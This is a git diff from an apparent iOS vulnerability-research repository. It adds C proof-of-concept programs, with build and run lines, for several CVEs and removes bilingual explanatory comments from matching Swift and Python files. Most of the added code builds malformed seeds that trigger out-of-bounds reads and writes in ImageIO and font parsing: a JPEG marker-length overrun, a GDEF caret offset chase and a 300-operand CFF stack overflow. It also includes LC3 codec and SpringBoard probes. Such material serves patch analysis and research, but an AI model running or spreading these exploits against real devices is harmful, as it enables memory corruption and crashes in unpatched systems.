%zu". -*/ -// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (TIFFPayload) ── +// ── seed construction (from Cinder27 Sources: TIFFPayload) ── enum TIFFPayload { struct Entry { let tag: UInt16 diff --git a/CVE-2026-112634/CVE-2026-112634.c b/CVE-2026-112634/CVE-2026-112634.c new file mode 100644 index 0000000..8e92753 --- /dev/null +++ b/CVE-2026-112634/CVE-2026-112634.c @@ -0,0 +1,73 @@ +// iio.jpeg.marker · ImageIO · _JPEGFile::processData · CVE-2026-112634 +// JPEG marker length beyond the bytes present +// C twin of the Swift POC: builds the marker-overrun JPEG and decodes it through ImageIO. +// Build: clang -O2 -o cve-2026-112634 CVE-2026-112634.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation +// Run: ./cve-2026-112634 [declared] [actual] + +#include +#include +#include + +// ── byte buffer ── +typedef struct { uint8_t *d; size_t n, cap; } buf; +static void bneed(buf *b, size_t extra) { + if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } +} +static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } +static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } +static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; } +static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } + +// ── seed construction (from Cinder27 Sources: JPEGPayload.markerLength) ── +static buf jpeg_marker_length(int declared, int actual) { + buf out = {0}; + bcat(&out, "\xff\xd8", 2); // SOI + bcat(&out, "\xff\xe1", 2); // APP1 + bput(&out, (declared >> 8) & 0xff); bput(&out, declared & 0xff); + int body = actual - 2 > 0 ? actual - 2 : 0; + brep(&out, 0x41, body); + bcat(&out, "\xff\xd9", 2); // EOI + return out; +} + +// ── trigger: decode through ImageIO ── +#include +#include +#include + +static int decode_image(const buf *img, const char **detail) { + CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n); + if (!cf) { *detail = "CFDataCreate failed"; return -1; } + CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL); + CFRelease(cf); + if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; } + size_t frames = CGImageSourceGetCount(src); + CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL); + static char r[256]; + if (cg) { + snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)", + (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames); + CGImageRelease(cg); + } else { + snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames); + } + CFRelease(src); + *detail = r; + return cg ? 0 : -1; +} + +int main(int argc, char **argv) { + int declared = argc > 1 ? (int)strtol(argv[1], NULL, 0) : 0xFFEE; + int actual = argc > 2 ? atoi(argv[2]) : 30; + + buf jpeg = jpeg_marker_length(declared, actual); + FILE *f = fopen("marker_length.jpg", "wb"); + if (f) { fwrite(jpeg.d, 1, jpeg.n, f); fclose(f); } + + const char *detail = NULL; + int rc = decode_image(&jpeg, &detail); + printf("CVE-2026-112634 · APP1 declares 0x%x, file carries %d B · %s\n", declared, actual, detail ? detail : "?"); + printf("seed: marker_length.jpg (%zu B) · exit code %d\n", jpeg.n, rc); + bfree(&jpeg); + return rc == 0 ? 0 : 1; +} diff --git a/CVE-2026-112634/CVE-2026-112634.swift b/CVE-2026-112634/CVE-2026-112634.swift index 02b2916..953f2cc 100644 --- a/CVE-2026-112634/CVE-2026-112634.swift +++ b/CVE-2026-112634/CVE-2026-112634.swift @@ -1,19 +1,8 @@ // iio.jpeg.marker · ImageIO · _JPEGFile::processData · CVE-2026-112634 -// 原语: OOB 读 · 进程内 · tier 2 -// Primitive: OOB read · in-process · tier 2 -// -// [zh] JPEG 标记长度越界 -// 当标记声明的长度远超实际存在的字节数时,27.0 仅记录一条 \"*** WARNING: check markerLength\" 并继续解析,导致越界读取;27.2 直接中止解析。 -// -// [en] JPEG marker length out of bounds -// When a marker declares a length far beyond the bytes actually present, 27.0 logs one "*** WARNING: -// check markerLength" and keeps parsing, reading out of bounds. 27.2 aborts the parse. -// ── 判别 / oracle ── -// 长度 0xFFEE,实际负载 28 字节。 - +// JPEG marker length out of bounds import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -34,7 +23,7 @@ enum B { static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } -// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (JPEGPayload) ── +// ── seed construction (from Cinder27 Sources: JPEGPayload) ── enum JPEGPayload { static func markerLength(declared: Int = 0xFFEE, actual: Int = 30) -> Data { var out = minimalSOI() diff --git a/CVE-2026-112638/CVE-2026-112638.c b/CVE-2026-112638/CVE-2026-112638.c new file mode 100644 index 0000000..e1aef7e --- /dev/null +++ b/CVE-2026-112638/CVE-2026-112638.c @@ -0,0 +1,43 @@ +// aud.lc3 · AudioToolbox · LC3 codec gate · CVE-2026-112638 +// LC3 codec AudioConverterNew reachability probe +// C twin of the Swift POC: drives AudioConverterNew with the LC3 format id at two +// rate/channel shapes. The entitlement check is an app-side observation; a standalone +// binary carries no entitlements, so only the codec gate itself is probed here. +// Build: clang -O2 -o cve-2026-112638 CVE-2026-112638.c -framework AudioToolbox -framework CoreFoundation +// Run: ./cve-2026-112638 + +#include +#include + +static void audio_converter(uint32_t format, double rate, uint32_t channels) { + AudioStreamBasicDescription in = {0}; + in.mSampleRate = rate; + in.mFormatID = format; + in.mFramesPerPacket = 1; + in.mChannelsPerFrame = channels; + AudioStreamBasicDescription out = {0}; + out.mSampleRate = rate; + out.mFormatID = kAudioFormatLinearPCM; + out.mFormatFlags = kAudioFormatFlagIsFloat | kAudioFormatFlagIsPacked; + out.mBytesPerPacket = 4; + out.mFramesPerPacket = 1; + out.mBytesPerFrame = 4; + out.mChannelsPerFrame = 1; + out.mBitsPerChannel = 32; + AudioConverterRef c = NULL; + OSStatus st = AudioConverterNew(&in, &out, &c); + if (c) AudioConverterDispose(c); + char four[5] = {0}; + for (int i = 0; i < 4; i++) { + uint8_t b = (uint8_t)(format >> (24 - 8 * i)); + four[i] = (b >= 0x20 && b < 0x7f) ? (char)b : '?'; + } + printf("AudioConverterNew('%s', %.0f Hz, %u ch) = %d\n", four, rate, channels, (int)st); +} + +int main(void) { + audio_converter(0x6C633320, 48000, 1); // 'lc3 ' 48 kHz mono + audio_converter(0x6C633320, 16000, 2); // 'lc3 ' 16 kHz stereo + printf("CVE-2026-112638 · LC3 codec gate probed\n"); + return 0; +} diff --git a/CVE-2026-112638/CVE-2026-112638.swift b/CVE-2026-112638/CVE-2026-112638.swift index 4257f7a..2a31fe7 100644 --- a/CVE-2026-112638/CVE-2026-112638.swift +++ b/CVE-2026-112638/CVE-2026-112638.swift @@ -1,22 +1,8 @@ // aud.lc3 · AudioCodecs · ACLC3Decoder::AppendInputData · CVE-2026-112638 -// 原语: OOB 写 · 权限受限 · tier 2 -// Primitive: OOB write · entitlement-gated · tier 2 -// -// [zh] LC3 解码器输入缓冲溢出 -// memcpy 仅以 mDataByteSize 作为长度,完全不参考输入 vector 的 (begin, end) 容量。27.2 增加 capacity < size 时的拒绝分支。LC3 -// 是蓝牙 LE Audio 的编解码器,其实例化受 com.apple.coreaudio.allow-lc3-codec 授权约束,故崩溃发生在系统音频进程内 —— 与公告所称「系统终止」一致。 -// -// [en] LC3 decoder input buffer overflow -// memcpy uses mDataByteSize as its length and never consults the (begin, end) capacity of the input -// vector. iOS 27.2 adds a capacity < size rejection. LC3 is the Bluetooth LE Audio codec and its -// instantiation is gated by com.apple.coreaudio.allow-lc3-codec, so the crash lands in the system -// audio process — matching the advisory's "system termination". -// ── 判别 / oracle ── -// 这个模块先检查进程是否持有该 entitlement,再尝试构造 LC3 AudioConverter 看内核/框架在哪一层拒绝。无授权时它一定失败,但失败点本身就是有用信息。 - +// LC3 decoder input buffer overflow import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -38,4 +24,3 @@ enum B { } - diff --git a/CVE-2026-112646/CVE-2026-112646.c b/CVE-2026-112646/CVE-2026-112646.c new file mode 100644 index 0000000..2172315 --- /dev/null +++ b/CVE-2026-112646/CVE-2026-112646.c @@ -0,0 +1,39 @@ +// sb.stash · SpringBoard · SBHomeScreenService stashed layout · CVE-2026-112646 +// Stashed layout name validation probe +// C twin of the Swift POC: looks up SBHomeScreenService in this process, checks for +// the 27.2 validation selector, and stats the container's IconState.plist. +// Build: clang -O2 -o cve-2026-112646 CVE-2026-112646.c -lobjc +// Run: ./cve-2026-112646 + +#include +#include +#include +#include +#include + +int main(void) { + // class lookup: SpringBoard's own classes are only registered inside SpringBoard + Class cls = objc_getClass("SBHomeScreenService"); + printf("SBHomeScreenService in this process: %s\n", cls ? "yes" : "no"); + + SEL validator = sel_registerName("_validationErrorForStashedLayoutName:"); + if (cls && class_respondsToSelector(cls, validator)) { + printf(" validation method present (27.2 fixed)\n"); + } else { + printf(" validation method absent (27.0 unfixed)\n"); + } + + // container probe: IconState.plist only exists inside SpringBoard's container + const char *home = getenv("HOME"); + char path[1024]; + snprintf(path, sizeof path, "%s/Library/SpringBoard/IconState.plist", home ? home : "/tmp"); + struct stat st; + if (stat(path, &st) == 0) { + printf("IconState.plist in this container: present (%lld B)\n", (long long)st.st_size); + } else { + printf("IconState.plist in this container: absent\n"); + } + printf("CVE-2026-112646 · stashed-layout surface is SpringBoard-only; other processes\n" + "reach it only through the XPC surface the 27.0 build left unvalidated\n"); + return 0; +} diff --git a/CVE-2026-112646/CVE-2026-112646.swift b/CVE-2026-112646/CVE-2026-112646.swift index 76acde0..3829cba 100644 --- a/CVE-2026-112646/CVE-2026-112646.swift +++ b/CVE-2026-112646/CVE-2026-112646.swift @@ -1,21 +1,8 @@ // sb.stash · SpringBoard · SBHomeScreenService · CVE-2026-112646 -// 原语: OOB 写 · 系统进程 · tier 3 -// Primitive: OOB write · system process · tier 3 -// -// [zh] SpringBoard 布局名 stash 校验 -// 27.2 新增 +[SBHomeScreenService _validationErrorForStashedLayoutName:]:拒绝空串、限制长度 ≤ 64、施加字符集白名单,作用于 -// stash/restore 的 XPC 接口。27.0 的该接口不含此层校验。 -// -// [en] SpringBoard stashed layout name validation -// iOS 27.2 adds +[SBHomeScreenService _validationErrorForStashedLayoutName:]: reject empty, cap length -// at 64, apply a character-set allowlist, on the stash/restore XPC interface. The 27.0 interface -// has no such layer. -// ── 判别 / oracle ── -// 应用侧只能看 SpringBoard 服务是否可达、类是否在进程里。真正的入口是 XPC,需要越过沙盒。 - +// SpringBoard stashed layout name validation import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -37,4 +24,3 @@ enum B { } - diff --git a/CVE-2026-112656/CVE-2026-112656.c b/CVE-2026-112656/CVE-2026-112656.c new file mode 100644 index 0000000..359068c --- /dev/null +++ b/CVE-2026-112656/CVE-2026-112656.c @@ -0,0 +1,169 @@ +// font.gdef · FontParser · GDEF LigCaretList · CVE-2026-112656 +// GDEF caret value offset chain past the table +// C twin of the Swift POC: builds the GDEF-caret-chase TrueType font, loads it through +// CGFont/CTFont and queries CTFontGetLigatureCaretPositions. +// Build: clang -O2 -o cve-2026-112656 CVE-2026-112656.c -framework CoreText -framework CoreGraphics -framework CoreFoundation +// Run: ./cve-2026-112656 + +#include +#include +#include + +// ── byte buffer ── +typedef struct { uint8_t *d; size_t n, cap; } buf; +static void bneed(buf *b, size_t extra) { + if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } +} +static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } +static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } +static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; } +static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } + +static void be16(buf *b, uint16_t v) { bput(b, v >> 8); bput(b, v & 0xff); } +static void be32(buf *b, uint32_t v) { + bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff); +} + +// ── table holder ── +typedef struct { const char *tag; buf data; } table; + +// ── seed construction (from Cinder27 Sources: FontPayload.gdefCaretChase) ── +static buf font_gdef_caret_chase(void) { + table tables[8]; + int nt = 0; + + { // head + buf t = {0}; + brep(&t, 0, 54); + t.d[0] = 0x00; t.d[1] = 0x01; t.d[2] = 0x00; t.d[3] = 0x00; + t.d[4] = 0x00; t.d[5] = 0x01; t.d[6] = 0x00; t.d[7] = 0x00; + t.d[12] = 0x5F; t.d[13] = 0x0F; // magic + tables[nt++] = (table){"head", t}; + } + { // hhea + buf t = {0}; + brep(&t, 0, 36); + t.d[0] = 0x00; t.d[1] = 0x01; + tables[nt++] = (table){"hhea", t}; + } + { // maxp + buf t = {0}; + brep(&t, 0, 32); + t.d[0] = 0x00; t.d[1] = 0x00; t.d[2] = 0x50; t.d[3] = 0x00; + t.d[4] = 0x00; t.d[5] = 0x01; + tables[nt++] = (table){"maxp", t}; + } + { // hmtx + buf t = {0}; + bcat(&t, "\x02\x00\x00\x00", 4); + tables[nt++] = (table){"hmtx", t}; + } + { // loca: short format, 2 glyphs + buf t = {0}; + bcat(&t, "\x00\x00\x00\x04", 4); + tables[nt++] = (table){"loca", t}; + } + { // glyf + buf t = {0}; + bcat(&t, "\x00\x00\x00\x00", 4); + tables[nt++] = (table){"glyf", t}; + } + { // cmap: format 4, minimal + buf t = {0}; + be16(&t, 0); be16(&t, 1); + be16(&t, 3); be16(&t, 1); be32(&t, 12); + be16(&t, 4); be16(&t, 24); be16(&t, 0); + be16(&t, 2); be16(&t, 2); be16(&t, 0); be16(&t, 0); + be16(&t, 0xFFFF); be16(&t, 0); be16(&t, 0); + tables[nt++] = (table){"cmap", t}; + } + { // GDEF: LigCaretList whose CaretValue offset runs past the table + buf t = {0}; + be16(&t, 0x0001); be16(&t, 0x0000); // version 1.0 + be16(&t, 0x0000); // glyphClassDef absent + be16(&t, 0x0000); // attachList absent + be16(&t, 0x000C); // ligCaretListOffset -> 12 + be16(&t, 0x0000); // markAttachClassDef absent + // LigCaretList at 12 + be16(&t, 0x000C); // coverageOffset -> 24 + be16(&t, 0x0001); // ligGlyphCount + be16(&t, 0x0010); // ligGlyphOffsets[0] -> 28 + be16(&t, 0x0000); // pad + // Coverage at 24: format 1, glyph 1 + be16(&t, 0x0001); be16(&t, 0x0001); be16(&t, 0x0001); + // LigGlyph at 28 + be16(&t, 0x0001); // caretCount + be16(&t, 0x7F00); // caretValueOffsets[0]: ~32 KB past the table + tables[nt++] = (table){"GDEF", t}; + } + + // ---- assemble: sort by tag, build directory + blobs + for (int i = 0; i < nt; i++) for (int j = i + 1; j < nt; j++) { + if (strcmp(tables[j].tag, tables[i].tag) < 0) { table t = tables[i]; tables[i] = tables[j]; tables[j] = t; } + } + uint16_t num_tables = (uint16_t)nt; + uint16_t search_range = 16, entry_selector = 0; + while (search_range * 2 <= num_tables * 16) { search_range *= 2; entry_selector++; } + buf out = {0}; + be32(&out, 0x00010000); + be16(&out, num_tables); + be16(&out, search_range); + be16(&out, entry_selector); + be16(&out, num_tables * 16 - search_range); + size_t offset = 12 + (size_t)nt * 16; + for (int i = 0; i < nt; i++) { + bcat(&out, tables[i].tag, 4); + be32(&out, 0x00010000); // checksum, unchecked by parsers + be32(&out, (uint32_t)offset); + be32(&out, (uint32_t)tables[i].data.n); + size_t pad = (4 - tables[i].data.n % 4) % 4; + offset += tables[i].data.n + pad; + } + for (int i = 0; i < nt; i++) { + bcat(&out, tables[i].data.d, tables[i].data.n); + size_t pad = (4 - tables[i].data.n % 4) % 4; + if (pad) brep(&out, 0, pad); + bfree(&tables[i].data); + } + return out; +} + +// ── trigger: CGFont + CTFont caret query ── +#include +#include +#include + +int main(void) { + buf font = font_gdef_caret_chase(); + FILE *f = fopen("gdef_caret_chase.ttf", "wb"); + if (f) { fwrite(font.d, 1, font.n, f); fclose(f); } + + CFDataRef cf = CFDataCreate(NULL, font.d, (CFIndex)font.n); + CGDataProviderRef prov = CGDataProviderCreateWithCFData(cf); + CFRelease(cf); + CGFontRef cg = CGFontCreateWithDataProvider(prov); + CGDataProviderRelease(prov); + if (!cg) { + printf("CVE-2026-112656 · font refused at the CGFont layer\n"); + bfree(&font); + return 1; + } + CTFontRef ct = CTFontCreateWithGraphicsFont(cg, 72, NULL, NULL); + CGFloat positions[8]; + memset(positions, 0, sizeof positions); + // the caret query follows the CaretValue offset chain + CFIndex n = CTFontGetLigatureCaretPositions(ct, 1, positions, 8); + printf("CVE-2026-112656 · CTFontGetLigatureCaretPositions returned %ld\n", (long)n); + if (n > 0) { + printf("caret positions:"); + for (int i = 0; i < n && i < 8; i++) printf(" %.2f", positions[i]); + printf(" (values read through the offset chain)\n"); + } else { + printf("returned 0 — offset clamped or chain not followed\n"); + } + CFRelease(ct); + CGFontRelease(cg); + printf("seed: gdef_caret_chase.ttf (%zu B) · exit code 0\n", font.n); + bfree(&font); + return 0; +} diff --git a/CVE-2026-112656/CVE-2026-112656.swift b/CVE-2026-112656/CVE-2026-112656.swift index 3fd65fc..ad5b8af 100644 --- a/CVE-2026-112656/CVE-2026-112656.swift +++ b/CVE-2026-112656/CVE-2026-112656.swift @@ -1,24 +1,8 @@ // font.gdef · CoreText · GetLigatureCaretPositionsForGlyph · CVE-2026-112656 -// 原语: OOB 读 · 进程内 · tier 2 -// Primitive: OOB read · in-process · tier 2 -// -// [zh] GDEFLigatureCaret 追链越界读 -// GDEF 的 LigCaretList → LigGlyph → CaretValue 偏移在 27.0 被直接跟随:caret 偏移以大端 u16 读出后与 LigGlyph 基址相加,既不检查表尾也不检查符号位。 -// CaretValue 偏移由文件控制,指向表外即走出 GDEF,读出的 i16 坐标原样返回给调用者。27.2 将该偏移钳制在 GDEF 表切片内。 -// -// [en] GDEFLigatureCaret offset-chain out-of-bounds read -// GDEF LigCaretList → LigGlyph → CaretValue offsets are followed directly on 27.0: the caret offset -// is read as a big-endian u16 and added to the LigGlyph base with neither an end-check nor a sign-check. -// The CaretValue offset is file-controlled, so pointing it outside the table walks out of the GDEF -// and the i16 coordinate read there is handed back to the caller as-is. iOS 27.2 clamps the offset -// against the GDEF table slice. -// ── 判别 / oracle ── -// 种子为结构完整的 TrueType:LigCaretList 覆盖字形 1,CaretValue 偏移 0x7F00 —— 落在字体数据约 32 KB 之外。驱动走公开 API CTFontGetLigatureCaretPositions:追链被跟随时返回非零 -// caret 数且坐标为堆残留;被钳制时返回 0。附带记录:GDEF 的另一个消费者 AttachList/AttachPoint 具有同样的偏移追链形状,在本修复窗口内未被触及 —— 负结果同样留档。 - +// GDEFLigatureCaret offset-chain out-of-bounds read import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -39,7 +23,7 @@ enum B { static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } -// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (FontPayload) ── +// ── seed construction (from Cinder27 Sources: FontPayload) ── enum FontPayload { static func gdefCaretChase() -> Data { var tables: [(String, [UInt8])] = [] diff --git a/CVE-2026-112683/CVE-2026-112683.c b/CVE-2026-112683/CVE-2026-112683.c new file mode 100644 index 0000000..e4452c4 --- /dev/null +++ b/CVE-2026-112683/CVE-2026-112683.c @@ -0,0 +1,160 @@ +// font.cff · FontParser · Type2 charstring interpreter · CVE-2026-112683 +// CFF operand stack push overflow +// C twin of the Swift POC: builds the 300-operand stack bomb CFF, loads it through +// CGFont/CTFont and draws glyphs to force the interpreter to run. +// Build: clang -O2 -o cve-2026-112683 CVE-2026-112683.c -framework CoreText -framework CoreGraphics -framework CoreFoundation +// Run: ./cve-2026-112683 [push-count] + +#include +#include +#include + +// ── byte buffer ── +typedef struct { uint8_t *d; size_t n, cap; } buf; +static void bneed(buf *b, size_t extra) { + if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } +} +static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } +static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } +static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } + +// ── CFF INDEX (from CVE-2026-112683.py: index) ── +static void cff_index(buf *out, const uint8_t *const *items, const size_t *lens, int count) { + if (count == 0) { bput(out, 0); bput(out, 0); return; } + size_t off = 1; + size_t offs[33]; + offs[0] = 1; + for (int i = 0; i < count; i++) { off += lens[i]; offs[i + 1] = off; } + int off_size = 1; + if (off >= 0x10000) off_size = 2; + else if (off >= 0x100) off_size = 1; // count fits + // choose the smallest width that holds `off` + if (off < 0x100) off_size = 1; + else if (off < 0x10000) off_size = 2; + else if (off < 0x1000000) off_size = 3; + else off_size = 4; + bput(out, (uint8_t)(count >> 8)); bput(out, (uint8_t)(count & 0xff)); + bput(out, (uint8_t)off_size); + for (int i = 0; i <= count; i++) { + for (int k = off_size - 1; k >= 0; k--) bput(out, (uint8_t)((offs[i] >> (8 * k)) & 0xff)); + } + for (int i = 0; i < count; i++) bcat(out, items[i], lens[i]); +} + +// 5-byte fixed-width DICT integer operand +static void dict_int(buf *out, int32_t v) { + bput(out, 29); + bput(out, (uint8_t)(v >> 24)); bput(out, (uint8_t)(v >> 16)); + bput(out, (uint8_t)(v >> 8)); bput(out, (uint8_t)v); +} + +// ── seed construction (from CVE-2026-112683.py: build_cff) ── +// one charstring pushes `push_count` operands before endchar; the interpreter's +// operand stack is a fixed 48-entry array +static buf cff_stack_bomb(int push_count) { + buf out = {0}; + bcat(&out, "\x01\x00\x04\x01", 4); // header: major 1, minor 0, hdrSize 4, offSize 1 + + // name index + const uint8_t *names[1] = { (const uint8_t *)"CinderStackBomb" }; + size_t name_lens[1] = { 15 }; + buf name_index = {0}; + cff_index(&name_index, names, name_lens, 1); + + // charstring: push_count × (139+1 = push 1), then endchar (14) + buf cs = {0}; + for (int i = 0; i < push_count; i++) bput(&cs, 140); + bput(&cs, 14); + const uint8_t *cs_items[1] = { cs.d }; + size_t cs_lens[1] = { cs.n }; + buf charstrings = {0}; + cff_index(&charstrings, cs_items, cs_lens, 1); + + buf gsubrs = {0}; + cff_index(&gsubrs, NULL, NULL, 0); + buf strings = {0}; + cff_index(&strings, NULL, NULL, 0); + + // Top DICT: CharStrings (op 17) + Private (op 18), absolute offsets, two-pass + // layout: header | name | top | strings | gsubrs | charstrings | private + size_t top_len_placeholder = 2 * 6 + 2; // two 5-byte ints + two 1-byte ops + size_t top_off = 4 + name_index.n; + size_t after_top = top_off + top_len_placeholder; + size_t cs_off = after_top + strings.n + gsubrs.n; + size_t priv_off = cs_off + charstrings.n; + buf priv = {0}; + bput(&priv, 0x00); // trivial private dict + + buf top = {0}; + dict_int(&top, (int32_t)cs_off); bput(&top, 17); + dict_int(&top, (int32_t)priv.n); dict_int(&top, (int32_t)priv_off); bput(&top, 18); + // the real top dict length must match the placeholder used for layout + buf top_index = {0}; + const uint8_t *top_items[1] = { top.d }; + size_t top_lens[1] = { top.n }; + cff_index(&top_index, top_items, top_lens, 1); + + bcat(&out, name_index.d, name_index.n); + bcat(&out, top_index.d, top_index.n); + bcat(&out, strings.d, strings.n); + bcat(&out, gsubrs.d, gsubrs.n); + bcat(&out, charstrings.d, charstrings.n); + bcat(&out, priv.d, priv.n); + + bfree(&name_index); bfree(&top_index); bfree(&strings); + bfree(&gsubrs); bfree(&charstrings); bfree(&priv); + bfree(&top); bfree(&cs); + return out; +} + +// ── trigger: CGFont + CTFont glyph draw ── +#include +#include +#include + +int main(int argc, char **argv) { + int push_count = argc > 1 ? atoi(argv[1]) : 300; + + buf cff = cff_stack_bomb(push_count); + FILE *f = fopen("stack_bomb.cff", "wb"); + if (f) { fwrite(cff.d, 1, cff.n, f); fclose(f); } + + CFDataRef cf = CFDataCreate(NULL, cff.d, (CFIndex)cff.n); + CGDataProviderRef prov = CGDataProviderCreateWithCFData(cf); + CFRelease(cf); + CGFontRef cg = CGFontCreateWithDataProvider(prov); + CGDataProviderRelease(prov); + if (!cg) { + // a refusal is the informative result: which stage rejected the font + printf("CVE-2026-112683 · font refused at the CGFont layer (before the interpreter)\n"); + printf("seed: stack_bomb.cff (%zu B) · exit code 1\n", cff.n); + bfree(&cff); + return 1; + } + CTFontRef ct = CTFontCreateWithGraphicsFont(cg, 96, NULL, NULL); + size_t glyphs = CGFontGetNumberOfGlyphs(cg); + printf("font loaded: glyphs=%zu\n", glyphs); + + // drawing forces the charstring interpreter to run + const int pixels = 256, bpr = pixels * 4; + uint8_t *buffer = calloc((size_t)bpr * pixels, 1); + CGContextRef ctx = CGBitmapContextCreate(buffer, pixels, pixels, 8, bpr, + CGColorSpaceCreateDeviceRGB(), kCGImageAlphaPremultipliedLast); + int drawn = 0; + size_t upper = glyphs < 8 ? glyphs : 8; + for (size_t g = 1; g < upper; g++) { + CGGlyph glyph = (CGGlyph)g; + CGPoint pos = CGPointMake(20, 40 * (g + 1)); + CTFontDrawGlyphs(ct, &glyph, &pos, 1, ctx); + drawn++; + } + printf("CVE-2026-112683 · drew %d glyph(s), %d operands vs stack capacity 48\n", + drawn, push_count); + CGContextRelease(ctx); + free(buffer); + CFRelease(ct); + CGFontRelease(cg); + printf("seed: stack_bomb.cff (%zu B) · exit code 0\n", cff.n); + bfree(&cff); + return 0; +} diff --git a/CVE-2026-112683/CVE-2026-112683.py b/CVE-2026-112683/CVE-2026-112683.py index 8109bfe..66e057f 100644 --- a/CVE-2026-112683/CVE-2026-112683.py +++ b/CVE-2026-112683/CVE-2026-112683.py @@ -1,20 +1,4 @@ #!/usr/bin/env python3 -# font.cff · FontParser · charstring 解释器 · CVE-2026-112683 -# 原语: OOB 写 · 进程内 | Primitive: OOB write · in-process -# -# [zh] CFF Type2 charstring 操作数栈溢出 -# Type2 charstring 解释器的操作数栈为固定 48 项数组。27.0 仅在 pop 路径检查计数,push 路径不做检查。27.2 补入 Push/Pop 两道栈保护, -# 并将扫描暂存区的 32 位乘法改为 64 位,同时修正了符号扩展指针。 -# -# [en] CFF Type2 charstring operand stack overflow -# The Type2 charstring interpreter's operand stack is a fixed 48-entry array. On 27.0 only the -# pop path checks the count; the push path does not. iOS 27.2 adds Push/Pop stack guards, widens -# the scan scratch area's 32-bit multiply to 64-bit, and fixes a sign-extended pointer. -# -# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py -# 触发器(run 闭包)与非种子构建器: 同目录 CVE-2026-112683.swift -# triggers (run closures) & non-seed builders: CVE-2026-112683.swift in this folder - import struct diff --git a/CVE-2026-112683/CVE-2026-112683.swift b/CVE-2026-112683/CVE-2026-112683.swift index a00de1e..cf00128 100644 --- a/CVE-2026-112683/CVE-2026-112683.swift +++ b/CVE-2026-112683/CVE-2026-112683.swift @@ -1,24 +1,9 @@ -// font.cff · FontParser · charstring 解释器 · CVE-2026-112683 -// 原语: OOB 写 · 进程内 · tier 2 -// Primitive: OOB write · in-process · tier 2 -// -// [zh] CFF Type2 charstring 操作数栈溢出 -// Type2 charstring 解释器的操作数栈为固定 48 项数组。27.0 仅在 pop 路径检查计数,push 路径不做检查。27.2 补入 Push/Pop 两道栈保护,并将扫描暂存区的 -// 32 位乘法改为 64 位,同时修正了符号扩展指针。 -// -// [en] CFF Type2 charstring operand stack overflow -// The Type2 charstring interpreter's operand stack is a fixed 48-entry array. On 27.0 only the pop -// path checks the count; the push path does not. iOS 27.2 adds Push/Pop stack guards, widens the -// scan scratch area's 32-bit multiply to 64-bit, and fixes a sign-extended pointer. -// ── 判别 / oracle ── -// 这个种子是一个裸 CFF:单个 charstring 连推 300 个操作数再 endchar。绘制字形才会真正执行解释器。 -// -// 种子构建器(python,可直接运行): CVE-2026-112683/CVE-2026-112683.py -// runnable python seed builder: CVE-2026-112683/CVE-2026-112683.py - +// font.cff · FontParser · charstring interpreter · CVE-2026-112683 +// CFF Type2 charstring operand stack overflow +// Standalone builder: CVE-2026-112683.py import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -40,4 +25,3 @@ enum B { } - diff 